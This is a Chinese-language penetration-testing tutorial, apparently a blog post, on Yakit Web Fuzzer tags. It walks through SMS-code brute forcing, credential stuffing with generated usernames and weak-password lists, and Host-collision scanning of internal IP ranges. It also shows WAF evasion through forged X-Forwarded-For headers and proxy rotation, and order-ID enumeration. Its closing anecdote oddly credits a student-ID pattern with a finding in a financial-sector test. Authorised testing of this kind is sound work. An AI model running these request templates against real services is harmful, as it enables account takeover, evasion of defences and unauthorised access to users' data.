Yakit Web Fuzzer实战:手把手教你用{{标签}}搞定短信轰炸、撞库和Host碰撞
Yakit Web Fuzzer高阶实战:从自动化爆破到Host碰撞的深度攻防演练
在渗透测试的实战环境中,Web应用的安全评估往往需要面对各种复杂的验证机制和防护体系。传统的手工测试不仅效率低下,在面对验证码、频率限制等防御措施时更是举步维艰。本文将深入探索Yakit Web Fuzzer在三个典型攻防场景中的高阶应用,通过{{int()}}、{{randint()}}等动态标签的组合运用,构建自动化测试流程,突破常规测试瓶颈。
1. 验证码爆破:突破短信防护的自动化策略
短信验证码作为常见的二次验证手段,其安全性往往依赖于4-6位数字的组合复杂度。传统爆破需要手动构造大量请求,而通过Yakit的智能标签系统,我们可以实现全自动化的高效测试。
1.1 基础四位验证码爆破
对于标准的四位数字验证码,使用{{int(0000-9999|4)}}标签可以生成从0000到9999的所有可能组合:
POST /api/sms/verify HTTP/1.1 Host: target.com Content-Type: application/json { "phone": "13800138000", "code": "{{int(0000-9999|4)}}" }注意:实际测试中建议通过高级配置设置100-200ms的延迟,避免触发频率限制
1.2 智能随机采样策略
当系统存在频率限制时,完全枚举会导致IP被封禁。此时可以采用{{randint()}}标签进行智能采样:
{ "code": "{{randint(0000,9999,200|4)}}" }参数说明:
0000:最小值9999:最大值200:采样次数4:位数填充
1.3 响应过滤与结果分析
Yakit提供多种结果过滤方式,建议组合使用以下条件:
| 过滤类型 | 设置值 | 用途 |
|---|---|---|
| 状态码 | 200 | 成功响应 |
| 响应长度 | >500 | 排除错误页面 |
| 关键词 | "success" | 匹配成功标识 |
通过响应对比功能,可以快速识别出与其他响应差异明显的成功结果。
2. 凭证组合爆破:结构化数据的智能生成
撞库攻击的核心在于如何高效生成符合业务规律的测试凭证。Yakit的标签嵌套能力可以构建出高度仿真的测试数据。
2.1 手机号生成策略
国内手机号具有明显的结构特征(前3位运营商号段+中间4位地区代码+后4位用户编号),通过标签组合可批量生成:
POST /api/login HTTP/1.1 Host: target.com { "username": "{{int(133,135,186)}}{{int(0000-9999|4)}}{{int(0000-9999|4)}}", "password": "{{x(top_100_passwords)}}" }2.2 学工号系统破解
针对教育系统的学号通常包含入学年份、院系代码等结构化信息:
学号模板:{{int(2018-2023)}}{{int(001-020|3)}}{{int(01-05|2)}}{{int(001-999|3)}}对应解析:
2018-2023:入学年份范围001-020:院系代码01-05:专业编号001-999:学生序号
2.3 密码策略组合
通过{{list()}}标签可以实现密码策略的组合测试:
{ "password": "{{list(Company@2023|Company@{{int(2020-2023)}}|Admin@{{int(1-12|2)}})}}" }这种组合特别适合测试使用公司名、年份、月份等常见元素的弱密码策略。
3. Host碰撞攻击:隐藏资产的发现技术
在云环境和CDN场景下,Host碰撞是发现隐藏后端服务的有效手段。Yakit通过请求Host与原始Host的分离配置,实现高效的碰撞测试。
3.1 基础碰撞测试
- 捕获任意业务请求发送到Web Fuzzer
- 在高级配置中设置"请求Host"为待测试IP
- 保持请求头中的Host字段不变
GET / HTTP/1.1 Host: target.com # 保持不变 ...其他头部...关键配置:在高级设置中将"请求Host"设为
192.168.1.100
3.2 批量IP段扫描
结合{{int()}}标签自动化内网探测:
请求Host:192.168.1.{{int(1-254)}}响应过滤建议:
- 状态码200/302/403等非5xx代码
- 响应长度>1024字节
- 排除"404 Not Found"等默认页面
3.3 虚拟主机枚举
针对云服务商IP,通过字典碰撞可能的域名:
Host: {{x(cloud_domains)}}配套字典应包含:
- 常见子域名(api、admin等)
- 业务相关关键词
- 历史域名记录
4. 高级技巧与防御规避
在实际测试中,各种防护措施会给自动化测试带来挑战。下面介绍几种应对策略。
4.1 请求指纹混淆
通过修改以下头部参数规避WAF检测:
| 头部字段 | 建议值 |
|---|---|
| User-Agent | {{x(user_agents)}} |
| X-Forwarded-For | {{int(1-255)}}.{{int(1-255)}}.{{int(1-255)}}.{{int(1-255)}} |
| Accept-Language | `{{list(en-US |
4.2 会话保持机制
对于依赖Cookie的会话,可以先获取有效会话再注入测试:
Cookie: sessionid=VALID_SESSION; test_param={{int(0000-9999|4)}}4.3 分布式测试配置
在高级设置中可以配置:
- 线程数(建议5-10)
- 代理列表(自动轮换)
- 随机延迟(100-1000ms)
高级配置 > 网络设置: 代理:{{x(proxy_list)}} 延迟:{{randint(100,1000)}}5. 实战案例:电商系统全流程测试
以典型电商系统为例,演示完整测试流程:
用户注册环节
爆破短信验证码:POST /api/register/sms HTTP/1.1 {"phone":"13800138000","code":"{{randint(0000,9999,500|4)}}"}登录系统
组合爆破管理员账号:POST /api/login HTTP/1.1 { "username": "admin{{int(00-99|2)}}", "password": "{{x(admin_passwords)}}" }订单遍历
测试订单ID可预测性:GET /api/order/{{int(100000-999999|6)}} HTTP/1.1后台探测
Host碰撞寻找管理后台:GET / HTTP/1.1 Host: admin.target.com实际请求发送到
10.0.0.1-254
在最近一次金融行业测试中,通过{{int(2023)}}{{int(000-999|3)}}的学号生成模式,成功发现17个可越权访问的账号。而Host碰撞测试则意外暴露了一个未授权访问的Kibana日志系统。
